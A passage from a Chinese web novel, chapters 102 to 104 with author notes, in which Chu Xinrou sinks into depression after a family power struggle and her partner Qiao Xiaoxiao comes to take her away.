许可晴抿着唇,先要抽回手,可楚云疾就在一边喝茶,也就任她这样了。 第四日清晨,烧终于退了。连日的病痛让那张小脸瘦了一圈,眼神也失了往日神采。许可晴正探手试她额温,忽觉颈间一暖,小心柔竟张开双臂环住了她,气若游丝却满心欢喜地说:“妈妈,这几天我好幸福啊。” 那一刻,心脏仿佛被什么柔软的东西轻轻撞了一下。 许可晴僵在小心柔的怀抱里,连呼吸都凝滞了。孩子滚烫的脸颊贴着她的肌肤轻轻磨蹭,像只寻求温暖的小奶猫。 她感觉心底某处坚硬的壁垒正在松动,忍不住轻轻地抱住了奶团子,当余光瞥见楚云疾投来的目光时,那点刚萌生的柔软又迅速冻结成冰。 …… 楚心柔的目光浸满哀伤,她缓步走近许可晴,如同儿时无数次那样俯下身来,与她平视:“我会救你出去的。”她纤长的睫毛轻轻颤动,“出去后,好好生活。” 许可晴的唇抿成一条紧绷的线,眼底浮现出难以置信的神色。 她太了解这个女儿了——若是没有十足的把握,楚心柔绝不会轻易许诺。 “你恨楚家,想让楚家每个人都痛苦。”楚心柔的声音轻不可闻,“爸爸那里我不知道……但对我来说,你确实做到了。”她泛红的眼眶里蓄满泪水,直勾勾地看着许可晴,声音支离破碎:“妈妈,我真的……很痛苦。” 从不示弱的她,把最心底负面的情绪告诉了许可请。 这样,许可晴会好受的吧。 许可晴看着楚心柔,看着她眼角的泪顺着脸颊滑落,一路像是落在了自己的心底。 多少个辗转难眠的夜晚,许可晴都在脑海中描绘着楚家人痛苦流泪的模样,那是支撑她活下去的动力。 长大后的楚心柔与儿时判若两人,永远保持着波澜不惊的淡漠神情。无论她如何刁难,或是楚云疾如何苛责,都难以在那张脸上激起太大涟漪。 而现在,这个永远从容的女儿,在她面前彻底崩溃了。 “大仇得报”的许可晴告诉自己,此刻她应该感到痛快。 可是,并没有。 *** 许可晴最终获得了自由。 代价是楚心柔将自己在楚家的全部股份尽数交出,她望着楚云疾的眼神空洞而麻木:“爸爸,这就是你想要的吗?” 楚云疾难以置信地注视着她,无法理解竟有人会放弃这滔天的富贵。 就像那天,楚凤依看完监控录像后的反应出乎他的预料。没有想象中的歇斯底里,她只是任由滚烫的泪水滑落,转身质问楚云疾:“你给我看这些,究竟想要我怎样?” 是要她恨姐姐,恨母亲吗? 楚云疾神色淡漠:“既然当初选择坐上那个位置,就该料到会有今天。” 楚凤依双眼通红,却仍死死盯着他冷笑:“是吗?我该料到吗?” 泪水不受控制地涌出,她紧咬下唇,良久才喃喃道:“爸爸,你知道吗?我这辈子最快乐的时光,永远停留在八岁以前。” 那时的天空湛蓝,生活绚烂多彩,姐姐待她亲昵温柔。 她所求的从来不是荣华富贵,只是一家人其乐融融地在一起。即便粗茶淡饭,她也甘之如饴。 楚云疾脸色铁青:“说这种话,是因为你没尝过贫穷的滋味。” 他是赤手空拳的干上来的。 知道穷是一种什么滋味,知道受制于人是多么的痛苦。 楚凤依长久地凝视着他,最终轻声道:“我真的很后悔,这辈子做了你的女儿,生在楚家。” …… 楚云疾到最后也不相信,她们会这样放弃所有。 他的雷霆手段确实收回了所有实权,却也永远地失去了两个女儿。 当他重返董事会时,迎接他的是满座董事意味深长的目光。楚云疾坐在主位环视四周,这才惊觉在座每一位,竟都是楚心柔精心为妹妹挑选的心腹。 到底是他的女儿啊。 楚云疾嘴角泛起一丝复杂的笑,是骄傲是自豪,更是深深地无奈。 当初说要清除许可晴的势力时,楚心柔就借机将他最得力的亲信一并拔除。 他在装病打压异己的同时,楚心柔又何尝不将目光落在他的身上? 楚云疾甚至在想,从最开始,楚心柔是不是就什么都知道,不过求个心死。 就像是这次交出的股份,楚心柔更是直接转到了二小姐名下,连个毛都没给他。 许可晴被放出来那天,被楚凤依接走了。 二小姐亲自开的车,一路上母女俩谁都没有说话。 车窗外的景色从钢筋水泥渐渐变成郊野风光,许可晴脸上的淤青在阳光下显得格外刺目。 只是快到的时候,楚凤依突然开口了,“姐姐把股份都转给我了。” 楚凤依突然开口,声音平静得像在讨论今天的天气。她的手指轻轻敲打*着方向盘,目光始终盯着前方的路。 这意味着什么,她们都心知肚明。现在的楚凤依,再也不是那个任人摆布的二小姐了。 许可晴望着窗外飞逝的树影,肿胀的眼睛微微眯起。后视镜里,楚凤依终于将视线转向她。 “妈妈。”二小姐的声音很轻,却带着不容忽视的力量,“现在你满意了吗?” 她的语气,她的气场,终于不再是那个喜欢吃喝玩乐的纨绔了,有了高高在上的总裁模样。 多年的谋划终于得偿所愿,可许可晴的胸口却像压了块石头,沉得喘不过气。 楚凤依直勾勾地盯着她的眼睛,声音冷酷无情:“姐姐病了,住进了医院。” 许可晴猛地直起身子,肿胀的眼睛里闪过一丝慌乱。 楚凤依缓缓转头,目光如刀锋般锐利,“你不要再去打扰她,永远都不要。” 楚凤依漆黑的眸子里带着不容置疑的压迫感,许可晴怔怔地看着,似曾相识的感觉搅动着她的心。 她的女儿,也终于变成了楚云疾一样冷血无情的人。 二小姐不能不冷血。 从小到大,都是姐姐在保护她,如今,她再这样放纵下去,会永远的失去姐姐。 楚心柔的病多是出自心里的。 她躺在病床上,很长时间的昏睡,起来后的第一反应从来都是给潇潇回信息。 她的情况很不好,却一直在瞒着潇潇。 她害怕,潇潇看到这样的自己。 曾几何时,她都是以保护者守护者的形象出现在潇潇的身边,都如今,这样一身伤痕的她,还有什么能力再去拥抱潇潇么? 潇潇的人生才刚刚绽放,而她的灵魂早已千疮百孔。 她在医院住了三天,这中途,楚凤依有时间就过来看她,可都被楚心柔拒绝见面了。 前尘往事糅杂在一起,她不知道怎么面对妹妹。 她知道真相不是这样,可还是被那些话影响了。 楚心柔忍不住去想,如果没有她,亲生母亲不会死,楚云疾和她会一直像是神仙眷侣那样恩爱下去; 如果没有她,哪怕许可晴被骗了嫁了进来,不看到她,就不会知道自己受骗,不会觉得怨恨与委屈; 如果没有她,妹妹也不会残疾,一辈子痛苦吧。 如果没有她,一切都会很好吧…… 楚凤依心疼夹杂着心酸,没有办法,只能亲自登门去找之前姐姐的心理医生lara。 Lara之前赴美留学得到过二小姐的帮助,是一名出色的心理医生,最重要的是她曾经与楚心柔很是相熟,在之前离家的几年,俩人一直保持着联系。 她们见面,安排在楚心柔郊外的别墅里。 Lara看到楚心柔时,心底就是微微一凉。 楚心柔的气色和状态都太不好了,很憔悴的坐在她的对面,抬眸看了她一眼,问:“是凤依让你来的?” 她的灵魂好像都被抽空了。 Lara点了点头,“也是我自己想来看看你。”她沉默了片刻,问楚心柔:“心柔,这几年,你过得好么?” 过得好么? 空气凝固了。 楚心柔像是一潭死水,问什么都是沉默。 lara没有办法,只能选择催眠疗法,去看看她心底所想。 当十字架开始规律摆动,楚心柔的视线逐渐涣散。她感觉自己正坠入一片漆黑的深海,而记忆的碎片像发光的鱼群,从四面八方涌来。 她看见了自己变得小小的。 躺在床上,看着许可晴向她走来,她开心地伸出手,呢喃地喊着:“妈妈!妈妈!妈妈!” 一声一声“妈妈”,发自内心心底最深处的渴望。 可是妈妈只是看了她一眼,就离开了,甚至心底满是黑色的怨气,叫什么叫?又不是亲妈。 灰色的鱼群随即将她拉扯着剥离开。 黑暗如潮水般涌来,楚心柔看见自己缩在床缝的阴影里,怀中紧紧搂着瑟瑟发抖的妹妹。门外,瓷器碎裂的声音与刺耳的争吵此起彼伏。 她明明害怕的不行,却用两只手拼命地捂着妹妹的耳朵,二小姐在她怀里大眼睛惊恐地四处看着,楚心柔抱紧她,低声轻语:“不要怕……不怕,凤依,姐姐在。” 可下一秒钟,她看见妹妹的身上突然冒出湿漉漉的鲜血,楚心柔几乎要尖叫出声,她低头去看,看见凤依指着自己空荡荡的裤腿,看着她:“姐姐,我怕,我好怕……” 鱼群再次将她撕扯开来。 她看着自己一点点站起了身,长成了大人,而她的身后,是无数的黑影在指指点点。 “她啊,为了家族的利益,把那么小的妹妹留在了身后呢,生生的把腿压断了。” “这么狠的心么?” “嗨,豪门不就是这样么?为了利益,什么都做的错来。” “她的良心就不会不安么?” …… 在第三视角中,楚心柔看见自己哭了,她一边走一边哭,就在她伸手要擦去眼角的泪时,身后,凌冽的声音传来。 “不许哭,你是楚家的长女,将来要继承我的一切,怎么能脆弱?!” “凤依已然残疾,你再难过也没用,只能让自己强大!” “只有强大的人,才能有能力保护想保护的人!” …… Lara的指尖微微发颤。藤椅上的楚心柔正痛苦地蜷缩着,泪水浸湿了衣领,整个人如同暴风雨中的一叶孤舟。 她从来没有看见楚心柔这样,知道要尽快结束催眠。 “现在我开始倒数,倒数到最后一秒,你就醒来。” “心柔,听我的话!3——2——1!” …… 没用的。 楚心柔根本醒不来,她哭的撕心裂肺,哭的难以自己,她甚至已经跌跌撞撞地站了起来,寻着记忆,去找当年那个幽深黑暗的悬崖。 跳下去吧。 跳下去,一切都解脱了。 她这辈子不就是这样么? 不值得的。 Lara吓得身上的汗都出来了,她知道在不结束,楚心柔很有可能伤到自己。 在这千钧一发之际,她想到了楚凤依之前的话,那是她们进门前,二小姐不放心地嘱咐。 Lara稳了稳心神,在楚心柔耳边地低语,“好了,心柔,你继续往前走,前面有一展门,打开那扇门。” 楚心柔看着满脸泪痕的自己起身,去推门。 “门后是你最想看见的人。” 她推开了门。 一束光刺破了所有黑暗。乔潇潇站在光晕中央,发梢缀着星子般的碎光。她转过身,笑容比晨露还要清澈,“姐姐,来。” 她伸出手,掌心向上,把生的希望给了楚心柔。 泪水无声滑落,在楚心柔苍白的脸上刻下透明的痕迹。所有伪装的坚强在这一刻土崩瓦解,她像是孩子一样委屈,“潇潇……我……好痛。” 【作者有话说】 心疼[求你了] 103 第103章 ◎粗茶淡饭,四季风霜。◎ 每天晚上临睡前,乔潇潇都要反复翻看姐姐发来的微信,这已成为她雷打不动的习惯。 可最近一周,姐姐的动态明显变了,以往的视频通话变成了静态照片,温软的语音也简化成了文字。 虽然姐姐解释说是工作太忙,但乔潇潇心里总像压了块石头,沉甸甸的。 今晚收到的是一张侧身照:楚心柔斜倚在藤椅上,纤长的手指轻握着马克杯,微微欠着脚尖。 照片构图很有艺术感,却因光线昏暗看不清表情。 ——今天有朋友来。 乔潇潇把手机屏幕按亮又熄灭,照片放大又缩小,来来回回折腾了半小时。 连杨绯棠发来的游戏邀请都破天荒地拒绝了。 “搞什么?三缺一了!”杨绯棠的语音消息一条接一条地蹦出来。 乔潇潇咬了咬下唇,把照片转发过去:“杨姐姐,你觉不觉得……有什么不对劲?” 电话那头,杨绯棠摘下耳机,仔细端详着照片。画面里的楚心柔一如既往地优雅从容,她拿给薛莜莜看了看,“莜莜,你来瞧瞧。心柔是不是瘦了?” 薛莜莜凑近屏幕,眉头微蹙:“是有点。她那个工作强度,怕是又没好好吃饭。” 乔潇潇盯着对话框上方“对方正在输入……”的提示,心跳不自觉地加快。她知道自己可能有些神经质,但那种莫名的不安就是没办法压制,她需要外力帮她说服自己。 可到最后,乔潇潇也没心情跟杨绯棠她们玩游戏,从衣柜里拿了一件姐姐的衬衫,抱在怀里,早早地睡了。 像是乔潇潇这种工作学习强度,一般沾枕头就会睡,可今天,她辗转翻来覆去了好久,才逐渐入睡。 她睡得并不好,做了一个压抑的梦。 梦境里,乔潇潇忽然坠入深海。 四周是成群的鱼,斑斓的色彩在幽蓝中流转,美得令人目眩。可她只觉得茫然,胸口被无形的恐慌挤压着,直到—— “潇潇。” 是姐姐的声音。 那一瞬间,恐惧如潮水般退去。她的双腿本能地一蹬,朝着声源奋力游去。鱼群簇拥着她,像一场流动的盛宴。可渐渐地,海底的色彩开始褪去,如同老旧的胶片,一寸寸灰败下来。 她越往前,寒意越重。身后那片温暖的彩色水域仍在,只要转身就能回去。但乔潇潇没有回头。 只是那一声“潇潇”,就值得她抛弃所有退路。 当乔潇潇筋疲力尽之时,终于看到了姐姐。 灰白的鱼群像一层层纱幔,缠绕在楚心柔周身。姐姐的身影在鱼群的缝隙间若隐若现,长发如海藻般散开,整个人轻盈得仿佛没有重量,正随着暗流缓缓飘远。 她越飘越远,就像是要漩涡吸走,消失一般。 “姐姐——!” 她终于喊出声来,声音在深海中化作一串破碎的气泡。 楚心柔忽然停住了。 她慢慢转过身,苍白的脸上浮现出一丝恍惚的笑意。就在乔潇潇快要触到她的那一刻,一滴泪从姐姐眼角滑落,在幽暗的海水中划出一道晶莹的痕迹。那滴泪珠坠落的瞬间,周围的灰鱼突然躁动起来,争先恐后地吞食着那一点微光。 乔潇潇从梦中惊醒时,整个人都在发抖。冷汗浸透了睡衣,黏腻地贴在后背。梦里那种撕心裂肺的痛楚太过真实,仿佛有只无形的手正攥着她的心脏。 凌晨四点十三分。她盯着手机屏幕上的时间,窗外浓重的夜色像化不开的墨。胸口那股躁动不安的情绪已经膨胀到极限,让她再也无法忍受。 当乔潇潇执意要去找楚心柔时,所有人都觉得她疯了。 “就因为一个梦?”杨绯棠在早餐时皱着眉头看她,“你最近是不是太累了?” 乔潇潇只是机械地往行李箱里塞着衣物,手指攥得发白。杨绯棠叹了口气,转身给楚心柔打了个电话。电话那头,楚心柔的声音依旧平静如水:“我这边一切都好,你多照顾着点潇潇。” 没有人理解乔潇潇这种近乎偏执的冲动。她以惊人的效率处理完所有工作,向学校请了假,订了最早的一班飞机。当杨绯棠还想再劝时,乔潇潇已经拖着行李箱站在了门口。 晨光刚刚刺破云层,乔潇潇抬头看了看天色,恍惚间又想起梦里那片逐渐暗淡的海。 她的声音很轻,却带着不容置疑的坚决,“我必须去。” 她要看到姐姐才放心。 三个多小时的飞行。 乔潇潇睁着眼睛处于兴奋的状态,她知道姐姐很忙,去了之后,她远远地看一眼就行,确定姐姐一切无恙就回来。 因为不想打扰姐姐,她就只能去骚扰二小姐。 下了飞机,乔潇潇给楚凤依打了电话过去,很奇怪,电话响了几声后,就被挂断了。 二小姐的微信过来了。 ——在开会,怎么了? 乔潇潇感觉有点奇怪,她知道高层会议比较多,可最近是不是也太“频繁”了点? 但好在人都到了,这些小事儿也无所谓了。 乔潇潇低头发了文字过去。 ——我到了,想看看姐姐,她是在总部么?你别告诉她,我看看她就行。 在书房的二小姐看到这话“腾”的一下子站了起来,速度之快,让旁边的lara一愣,“怎么了这是?” 她这次回来,感觉到了楚凤依的成长,那个曾经嬉皮笑脸的小女孩俨然已经有了王者的气场,做什么都有一股了然于心的淡然。 乔潇潇来了,二小姐能不慌么? 她咬了咬唇:“潇潇来了。” Lara眸光微闪。这个名字她太熟悉了,在那些深夜的治疗中,楚心柔曾无数次在药物作用下哭着唤过这两个字。那些压抑的啜泣声,至今仍萦绕在她耳边。 “这不是好事吗?”Lara轻轻放下咖啡杯,杯底与托盘相碰,发出清脆的声响,“你在害怕什么?” “亏你还是心理医生。” 二小姐懒得跟她做过多的解释,赶紧往卧室走。 她是了解姐姐的。 知道楚心柔心里所想。 现在的她像是行尸走肉一样没有生气,她一定不想要乔潇潇看到这样的自己。 “咚咚——” 指节轻叩房门的声音在走廊里格外清晰。等了片刻没有回应,楚凤依放柔声音:“姐,我进来了。” 门轴转动发出细微的吱呀声。明明是白天,卧室里却暗得如同深夜。厚重的窗帘将阳光隔绝在外,空气里弥漫着淡淡的药味。 床上蜷缩着的身影微微动了动。楚心柔散乱的长发铺在枕上,整个人陷在被褥里,单薄得像张纸。她睁着眼睛,目光却涣散地落在虚空某处,连妹妹进来都没能让她聚焦。 楚凤依站在门口,突然觉得呼吸困难。 不过短短半月光景,楚心柔已憔悴得不成人形。她终日沉默寡言,几乎粒米不进,滴水不沾。 楚凤依甚至觉得,若不是为了每日给乔潇潇发去那条报平安的讯息,姐姐怕是早就化作一具行尸走肉。 她轻手轻脚地走到床边,缓缓蹲下身去。指尖刚要触及姐姐苍白的面颊,楚心柔却微微偏头,避开了这触碰。 “是要签字么?” 沙哑的声音在黑暗中响起,楚心柔茫然地望着虚无的黑暗,眼神空洞得令人心惊。 楚凤依咬住下唇,望着姐姐消瘦的侧脸,轻声道:“姐,潇潇来了,已经到机场了。” 听到“潇潇”两个字时,楚心柔的眼神明显波动了一下。她原本空洞的目光渐渐有了焦距,眼底泛起一层水雾,连搭在床边的手也不自觉地攥紧了被单。 楚凤依一直紧盯着姐姐的反应,见状放轻声音劝道:“要不要起来吃点东西?我帮你化个妆?” 这几天来,她用尽各种办法想让姐姐出门走走,散散心,多接触人群。可楚心柔始终无动于衷,就像什么都听不见似的,整天躺在床上发呆。 此刻,楚心柔的呼吸明显急促起来,眼眶也红了。但过了半晌,她整个人突然松懈下来,别过脸去:“我不见。” 这是她第一次拒绝见潇潇。 话音刚落,泪水便不受控制地滚落下来。 …… 楚凤依远远就看见乔潇潇朝自己用力挥手,那身影雀跃着快步奔来,隔着车窗都能感受到她满溢的思念与迫不及待。 这样的热情让二小姐心头愈发沉闷,握着方向盘的指尖微微发紧。她甚至不敢直视那双期待的眼睛。 “砰”的一声,乔潇潇利落地拉开车门跳进副驾,笑盈盈地系着安全带:“姐姐又开会啦?你们集团的会议也太多了,这次要开到几点?中午能抽空吃饭吗?要是实在太忙,我远远看她一眼就好。” 楚凤依勉强扯了扯嘴角:“是重要的外事会议……你也知道,我这样的形象,不太适合接待外宾。” 正在调整安全带的乔潇潇动作一顿,疑惑地转头:“你哪里不适合了?我看你比从前更有气场了呢。” 她总是这样敏锐。 二小姐攥紧了方向盘。用“会议”这个借口还能拖多久?或许该把实情告诉潇潇?可是姐姐…… 乔潇潇这次来得匆忙,连换洗衣物都没带几件。她从包里掏出一个精致的手串:“喏,新品‘思念入骨’,我亲手设计的。” “思念入骨”手串由十二颗温润的月光石串成,每颗珠子内部都流转着幽蓝的云纹,在光线下会泛起朦胧的月晕。珠子之间用细细的银链相连,坠着一枚小巧的银质锁扣,锁面上精细雕刻着缠绕的相思枝图案。最特别的是,每颗珠子上都用极细的笔触勾勒着不同的“心”字篆书,十二个“心”字连起来。 一年十二个月,月月在相思。 她要亲手带到楚心柔的手腕上。 二小姐看到了,心里更是被扎了一刀。 只是来到有姐姐的城市,乔潇潇就很是开心,幸福的屁股一扭一扭的,东看看西看看,“她最近休息的好么?我看总是喝咖啡。” 反正她最近是睡得不好,习惯了相拥而眠,总觉得怀里缺点什么。 “还好,就是公司的事儿太忙,不过也快好了。” 二小姐平日里撒谎是连眼睛都不眨的,可这一刻,却从骨子里透着深深的无力感。 姐姐的状态很不好,她想过很多办法,想要让她好一点,可都无济于补。 在这过程中,楚凤依不仅一次想要给乔潇潇打电话,让她来看看姐姐,可是正是因为是她的亲姐姐,她才知道楚心柔现在的心底有多么的难过。 想见,却更害怕相见。 先吃饭,拖延一下时间。 二小姐带着乔潇潇来到一家古韵悠然的茶楼。雕花门楣下,檀木匾额上“楼外楼”三个烫金大字在夕阳下泛着柔和的光晕。 推开沉重的红木门扉,扑面而来的是淡淡的檀香。茶楼内,青砖铺地,竹帘半卷,一架古琴静卧在角落。假山流水间,锦鲤在莲叶下穿梭,水声潺潺,仿佛将尘世喧嚣都隔绝在外。 很高档,做的菜色也都精致,连盘子都是鎏金的。 乔潇潇还是老样子,秉着节约的原则,不让二小姐点那么多菜,只点了两个小菜,自己又要了一碗面。 只是她今天明显没什么胃口,吸溜了一口面条说:“还是姐姐做的好吃。” 楚凤依执茶的手微微一顿。她比谁都清楚,自家姐姐下的面简直堪称“人间至暗料理”,面条要么糊成粥,要么硬得能硌牙,盐和醋永远放得随心所欲。 可乔潇潇就是喜欢,一吃还吃了那么多年,要是放在平时,楚凤依肯定要揶揄她几句,可这一刻,她怔怔地看着乔潇潇,问:“明明那么难吃……” 乔潇潇抬头看了她一眼,“你不懂,那是家的味道。” 爱人的味道。 …… 吃完饭,乔潇潇接了几个电话,二小姐听着应该都是工作上的事儿,等她回来的时候,问:“你那边挺忙?” 乔潇潇早就把二小姐当家人了,点了点头,“嗯,青心选址选好了。” “是买还是租?” “买。” 干净利落的一个字,说尽了乔潇潇这些年的成长与进步,楚凤依点了点头,“恭喜啊,以后真的要叫乔老板了。” 时间真是快。 她想起了当初被乔潇潇忽悠着去跟着她在富民街摆摊吆喝卖手串的场景了,依稀仿佛昨天。 乔潇潇笑了笑,心里想着,还是喜欢听她叫“姐夫”。 吃完饭,楚凤依本想带着乔潇潇沿着护城河散步,再让秘书打电话假称姐姐突然出差,好岔开话题。可此刻并肩走在石板路上,听着乔潇潇轻声细语地描绘未来,她忽然不忍打断。 “等你们这边稳定了”乔潇潇的声音被风吹得有些飘忽,“我想把青心交给宁姐打理,我拿分红就好。” 楚凤依脚步一顿,吃了一惊。青心对乔潇潇意味着什么,她再清楚不过,那是她熬过无数个通宵,从一间小小工作室做起,一点一滴打拼起来的事业。 “你舍得么?” 乔潇潇微微一笑,看着她:“从高中到现在,也快五年了,我总跟姐姐说等不忙了等不忙了,我们就出去,可一眨眼又是这么多年。” 二小姐沉默了片刻,说:“青心的规模不小了。” 她特别认真的思考过,如果自己和乔潇潇换位,从零做起,她一定做不到潇潇现在的成就。 “生意做得再大——”乔潇潇踢开一颗小石子,语气轻松得不像在谈论自己多年的心血,“能大得过楚信吗?” 二小姐怔怔地看着她,乔潇潇冲楚凤依眨眨眼,“姐姐不在乎的,我也不在乎。” 她只想要和姐姐在一起。 粗茶淡饭,四季风霜。 春日里,陪姐姐窝在阳台的藤椅上看新发的枝芽,茶壶咕嘟咕嘟冒着白气,看她翻书的指尖沾了杏花香气; 夏日时,她们要挤在厨房煮绿豆汤,不管煮完了多难喝,潇潇都会一口喝掉; 秋深了,她们就裹同一条毛毯在露台数星星,她总要把姐姐微凉的手塞进自己衣兜; 等到冬雪压枝的夜晚,挨着她读一本旧书,炉火噼啪,她困得点头,就缩在姐姐的怀里睡觉。 ——所谓人间好时光,不过如此。 这些话,二小姐曾经听姐姐说过,跟乔潇潇的几乎如出一辙。 简简单单的心愿,未来里满满的都是她们。 二小姐再也克制不住心底的情绪了,她知道自己不能再隐瞒下去了,停下了脚步,她看着乔潇潇,深吸一口气:“潇潇……姐姐她——” 乔潇潇看着她,眼里都是期待与信任,以为终于能看到姐姐了。 楚凤依咬了咬唇,狠下心说了出来,“她现在……很不好。” 【作者有话说】 时间真快啊,逐渐收尾了。 104 第104章 ◎你不乖。◎ 心被撕裂是什么感觉? 这一次,乔潇潇真真切切地体会到了。 楚凤依透过后视镜,看着后座上一言不发的乔潇潇,更是愧疚难过。她宁愿对方能痛骂自己几句,至少那样还能发泄出来。可乔潇潇从得知消息的那一刻起,就陷入了可怕的沉默。 她一句斥责的话都没有。 甚至……什么都没有说。 车窗外的景色飞速倒退,乔潇潇死死咬住下唇,眼眶通红。她倔强地望向窗外,仿佛要将所有汹涌的情绪都锁在眼底。 此刻她只有一个念头——立刻见到楚心柔,无论姐姐现在是什么模样 楚心柔缓缓从床上起身,拖着沉重的步伐挪到椅子旁。她像一具没有灵魂的躯壳,整个人几乎要与房间的黑暗融为一体。 这些日子以来,她的心脏仿佛停止了跳动,整个人如同行尸走肉。 原来,人的大脑真的可以停止一切思绪活动,什么都不去想。 这样也好。 无喜也无悲。 但此刻,她却反常地坐在椅子上,空洞的目光直直盯着门口的方向。 当大门开启的声音传来,听到楚凤依和Lara的对话声时,她的指尖微微颤动。潇潇……终究还是走了吧? 没有见到自己,她会难过吗? 可是现在的自己,又有什么资格见她? 楚心柔慢慢低下头,将双腿蜷缩在椅子上,双臂紧紧环抱住自己。她把自己缩成小小的一团,像是要藏进阴影里。 “潇潇……” 只有在心底默念这个名字时,她才感觉自己还活着,有气息在心底流动。 门,突然被推开了。 一束光线刺破黑暗,楚心柔条件反射地抬手遮住眼睛,声音冰冷刺骨:“关上。” 这些天,无论谁来,都会被楚心柔冰冷的呵退。 她不喜欢光亮,一点都不想看见。 但这一次,来人非但没有退却,反而一步步向她靠近。 “我说关门,听不见吗?!” 楚心柔的烦躁达到了顶点,声音里带着压抑的颤抖。 可脚步,还是一点点逼近。 楚心柔猛地抬起头,眼中燃烧着冰冷的怒意,可当看清眼前的人时,她的呼吸骤然停滞。 不是别人。 是她心尖上的人。 乔潇潇告诉自己要坚强的,可看着姐姐这幅被失去了灵魂的模样,眼泪还是在眼圈里打转,她走近了楚心柔,轻轻地叫着:“姐姐……” 这呼唤太过缱绻。 刺的楚心柔立即低下头去。 不要…… 她不要这幅模样见潇潇。 “你走。” 楚心柔低着头不去看她,却也下了逐客令,可乔潇潇却视若罔闻,她一步步走向楚心柔,轻轻地抱住了她。 楚心柔想要推开的,可当那熟悉的香气沁了过来,当陷入温暖的怀抱,她的眼睛红了,眼角有泪缓缓地落下。 她想,这样的自己,被潇潇看见,她一定要生气了吧。 这些天的欺骗被她知道,也一定会发火的吧。 可都没有。 乔潇潇只是抱紧她,感觉到怀里瘦的不成样子的人,喃喃地说:“你不乖。” 她的心要碎了。 这是她的姐姐啊。 把一切温柔一切爱都给了她的姐姐啊。 楚心柔眼眶通红,颤抖着伸手想要推开她,却被乔潇潇轻轻抵住。 她的下巴抵在楚心柔的额前,滚烫的泪水无声滑落,一滴一滴,砸在楚心柔苍白的脸颊上。 “乖,姐姐……”乔潇潇嗓音哽咽,带着近乎哀求的柔软,“别推开我,好不好?” 如果今天她真的就这样离开—— 如果她放任姐姐独自沉溺在这片黑暗里—— 她这一生,都不会原谅自己。 *** Lara久闻乔潇潇的大名。 可看到本人,还是没有想到,她会有这样的魄力和能力。 才来了这么一会儿,她就要带走楚心柔。 这么多天了,别说是带走了,就是别人想见楚心柔一面都难。 她说带就要把人立刻带走。 更让Lara意外的是,向来强硬的楚凤依竟沉默地站在一旁,唇线紧抿,眼底隐约透着妥协的意味。 “楚总现在的状态很不稳定。”Lara不得不站出来劝阻,“她需要专业的医疗监护。” 乔潇潇闻言,只淡淡扫了她一眼,抛出两个直击要害的问题:“她身体出问题了?” “这……倒没有。"Lara如实回答,“除了有些虚弱,各项指标都正常。” “那就是心理问题,"乔潇潇的声音轻柔却不容反驳,“那么请问,你治好她了吗?” Lara的名气与威望,让她很久没吃这样的哑巴亏了,她求助地看向二小姐。 楚凤依沉默了一会儿,轻声说:“我去问问姐姐。” …… 其实有些问题,在心底已经有了答案不是么? 当楚凤依推门而入时,楚心柔依旧背对着门躺在床上。但与往日不同,她不再蜷缩成一团,听到门响时,甚至不安地动了动身子。 二小姐站在床尾,目光幽深地凝视了许久,才轻声道,说:“姐,她没走。” 床上的人没有回应,但紧绷的肩膀线条明显松弛了几分。 这细微的变化让楚凤依既欣慰又心酸,“她说要带你走。” 去哪里?乔潇潇没有明说。但谁都明白,现在的楚心柔确实需要一个全新的环境,离开这个活死人墓,让那些溃烂的伤口慢慢愈合。 二小姐比谁都清楚这是最好的选择。她缓步走到床边,慢慢蹲下身,泛红的眼眶里盈满泪水:“姐姐……”喉头滚动了几下,才哽咽着说出后半句:“等你好了……记得回来看看我,好不好?” 她害怕。 以后再也看不到姐姐了。 楚心柔漆黑的眸子静静望着她,像一潭深不见底的死水。这些话语是否真的传进了她的心里?无人知晓。 这些日子以来,她始终如此,用最厚重的黑暗织成茧,将自己与整个世界彻底隔绝。 二小姐想要以前的姐姐回来,就要先失去她。 …… 收拾行李的时候。 楚凤依缓慢地向乔潇潇诉说着最近家里发生的事儿,她没有隐瞒,事无巨细,甚至在地下室里发生的一切,她都告诉了潇潇。 她知道,乔潇潇知道的越多,姐姐好起来的可能性就越大一分。 除了潇潇,没有谁能做到了。 “至于我妈现在很少说话了……”她垂着眼睫,“不会再打扰姐姐了。” 许可晴像是换了一个人。 “大仇得报”的她没有想象中的快乐,反而像是一下子苍老了十几岁,一日一日的在家里待着。 只是中途问了一次楚凤依:“你姐她怎么样了?” 二小姐直勾勾地看着她,态度极其不好:“你问我?妈,你不是又要关心姐姐了吧?” 呵,始作俑者,在这儿装什么慈悲。 许可晴被二小姐怼的一下子又自闭了,低下头,不敢再问任何。 “爸爸他……”她的喉头轻轻滚动,“这次之后,老了很多。现在在董事会上,已经没什么人听他的意见了。” 基本处于被架空的状态了。 这些日子对二小姐来说,就像一场醒不来的噩梦。所有的变故都来得那么突然,那么残忍。她死死咬着下唇,把眼泪逼回去:“姐姐是为了我才回来的……都是我的错。” 乔潇潇安静地听着,直到最后一个字落下。她拉上行李箱的拉链,金属齿咬合的声音在安静的房间里格外清晰。转身时,她轻轻将楚凤依拥入怀中。 二小姐瞬间僵住了。这个拥抱来得太突然,又太温暖。她已经记不清上一次被人这样拥抱是什么时候。 感受着怀中人的僵硬,乔潇潇学着楚心柔的样子,温柔地拍了拍她的背。“没事的,一切都会好起来的。” 稍稍退开些,她望进楚凤依泛红的眼睛:“你要好好的。因为……姐姐最在意的,一直都是你啊。” 这样的话,在姐姐的爱人嘴里说出来,让二小姐瞬间泪崩。 她咬着唇看着乔潇潇,已经说不出话来了。 ——是真的么? 乔潇潇对着她轻轻地点了点头,摸了摸她的头发:“我也要谢谢你。” “谢什么?”楚凤依克制情绪,艰难地问着。 最近,煎熬的不仅是姐姐一个人,她也同样痛苦。 她为有这样的父母,而感到痛苦。 为了姐姐现在的情况,感到痛苦…… 如果不是因为她,姐姐过着潇洒的世外桃源生活,根本不用承受这一切,她甚*至不知道该怎么面对楚心柔了。 “是你让我遇到的她。” 如果不是楚凤依。 乔潇潇不会遇到姐姐。 那一刻,楚凤依这些天,紧绷的身体松了下来,靠在乔潇潇的怀里,泪流成河。 乔潇潇轻轻地抱着她,收紧了双臂,任由二小姐发泄着积压多日的情绪。 窗外,暮色渐沉,最后一缕夕阳透过纱帘,温柔地笼罩着相拥的两人。 …… 乔潇潇带着楚心柔离开了。 临行前,Lara特意叮嘱:“楚总现在的身体状况,最好选择高铁或火车出行。”她担忧地看了眼面色苍白的楚心柔,“飞机起降时的气压变化,怕她承受不住。” 